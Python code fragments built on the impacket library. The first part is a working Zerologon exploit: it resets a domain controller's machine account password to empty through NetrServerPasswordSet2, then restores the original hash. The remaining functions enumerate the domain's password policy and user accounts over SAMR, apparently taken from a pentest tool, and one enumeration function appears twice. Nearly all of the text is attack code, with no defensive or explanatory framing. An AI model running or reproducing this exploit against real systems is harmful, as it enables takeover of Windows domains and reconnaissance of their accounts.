def attempt_exploit(self, rpc_con: rpcrt.DCERPC_v5) -> object: request = nrpc.NetrServerPasswordSet2() ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = self.dc_handle + "\x00" request["ClearNewPassword"] = b"\x00" * 516 return rpc_con.request(request)
def attempt_restoration(self, rpc_con: rpcrt.DCERPC_v5, original_pwd_nthash: str) -> Optional[object]: plaintext = b"\x00" * 8 ciphertext = b"\x00" * 8 flags = 0x212FFFFF # Send challenge and authentication request. server_challenge_response = nrpc.hNetrServerReqChallenge( rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext) server_challenge = server_challenge_response["ServerChallenge"] server_auth = nrpc.hNetrServerAuthenticate3( rpc_con, self.dc_handle + "\x00", self.dc_name + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, self.dc_name + "\x00", ciphertext, flags, ) assert server_auth["ErrorCode"] == 0 session_key = nrpc.ComputeSessionKeyAES( None, b"\x00" * 8, server_challenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"), ) try: nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse) request = NetrServerPasswordSet() ZerologonExploiter._set_up_request(request, self.dc_name) request["PrimaryName"] = NULL pwd_data = impacket.crypto.SamEncryptNTLMHash( unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data rpc_con.request(request) except Exception as e: logger.info(f"Unexpected error: {e}") return rpc_con
def fetchList(self, rpctransport): dce = DCERPC_v5(rpctransport) dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) # Setup Connection resp = samr.hSamrConnect2(dce) if resp['ErrorCode'] != 0: raise Exception('Connect error') resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle=resp['ServerHandle'], enumerationContext=0, preferedMaximumLength=500) if resp2['ErrorCode'] != 0: raise Exception('Connect error') resp3 = samr.hSamrLookupDomainInSamServer(dce, serverHandle=resp['ServerHandle'], name=resp2['Buffer']['Buffer'][0]['Name']) if resp3['ErrorCode'] != 0: raise Exception('Connect error') resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'], desiredAccess=samr.MAXIMUM_ALLOWED, domainId=resp3['DomainId']) if resp4['ErrorCode'] != 0: raise Exception('Connect error') self.__domains = resp2['Buffer']['Buffer'] domainHandle = resp4['DomainHandle'] # End Setup re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) self.__min_pass_len = re['Buffer']['Password']['MinPasswordLength'] or "None" self.__pass_hist_len = re['Buffer']['Password']['PasswordHistoryLength'] or "None" self.__max_pass_age = convert(int(re['Buffer']['Password']['MaxPasswordAge']['LowPart']), int(re['Buffer']['Password']['MaxPasswordAge']['HighPart'])) self.__min_pass_age = convert(int(re['Buffer']['Password']['MinPasswordAge']['LowPart']), int(re['Buffer']['Password']['MinPasswordAge']['HighPart'])) self.__pass_prop = d2b(re['Buffer']['Password']['PasswordProperties']) re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) self.__rst_accnt_lock_counter = convert(0, re['Buffer']['Lockout']['LockoutObservationWindow'], lockout=True) self.__lock_accnt_dur = convert(0, re['Buffer']['Lockout']['LockoutDuration'], lockout=True) self.__accnt_lock_thres = re['Buffer']['Lockout']['LockoutThreshold'] or "None" re = samr.hSamrQueryInformationDomain2(dce, domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation) self.__force_logoff_time = convert(re['Buffer']['Logoff']['ForceLogoff']['LowPart'], re['Buffer']['Logoff']['ForceLogoff']['HighPart']) self.pass_pol = {'min_pass_len': self.__min_pass_len, 'pass_hist_len': self.__pass_hist_len, 'max_pass_age': self.__max_pass_age, 'min_pass_age': self.__min_pass_age, 'pass_prop': self.__pass_prop, 'rst_accnt_lock_counter': self.__rst_accnt_lock_counter, 'lock_accnt_dur': self.__lock_accnt_dur, 'accnt_lock_thres': self.__accnt_lock_thres, 'force_logoff_time': self.__force_logoff_time}
def __init__(self, transport): DCERPC_v5.__init__(self, transport)
def get_dce_rpc(self): return DCERPC_v5(self)
def fetchList(self, rpctransport): dce = DCERPC_v5(rpctransport) dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) # Setup Connection resp = samr.hSamrConnect2(dce) if resp['ErrorCode'] != 0: raise Exception('Connect error') resp2 = samr.hSamrEnumerateDomainsInSamServer( dce, serverHandle=resp['ServerHandle'], enumerationContext=0, preferedMaximumLength=500) if resp2['ErrorCode'] != 0: raise Exception('Connect error') resp3 = samr.hSamrLookupDomainInSamServer( dce, serverHandle=resp['ServerHandle'], name=resp2['Buffer']['Buffer'][0]['Name']) if resp3['ErrorCode'] != 0: raise Exception('Connect error') resp4 = samr.hSamrOpenDomain(dce, serverHandle=resp['ServerHandle'], desiredAccess=samr.MAXIMUM_ALLOWED, domainId=resp3['DomainId']) if resp4['ErrorCode'] != 0: raise Exception('Connect error') self.__domains = resp2['Buffer']['Buffer'] domainHandle = resp4['DomainHandle'] # End Setup status = STATUS_MORE_ENTRIES enumerationContext = 0 while status == STATUS_MORE_ENTRIES: try: resp = samr.hSamrEnumerateUsersInDomain( dce, domainHandle, enumerationContext=enumerationContext) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: self.logger.error('Error enumerating domain user(s)') break resp = e.get_packet() self.logger.success('Enumerated domain user(s)') for user in resp['Buffer']['Buffer']: r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId']) info = samr.hSamrQueryInformationUser2( dce, r['UserHandle'], samr.USER_INFORMATION_CLASS.UserAllInformation) (username, uid, info_user) = (user['Name'], user['RelativeId'], info['Buffer']['All']) self.logger.highlight('{}\\{:<30} {}'.format( self.domain, user['Name'], info_user['AdminComment'])) self.users.append(user['Name']) samr.hSamrCloseHandle(dce, r['UserHandle']) enumerationContext = resp['EnumerationContext'] status = resp['ErrorCode'] dce.disconnect()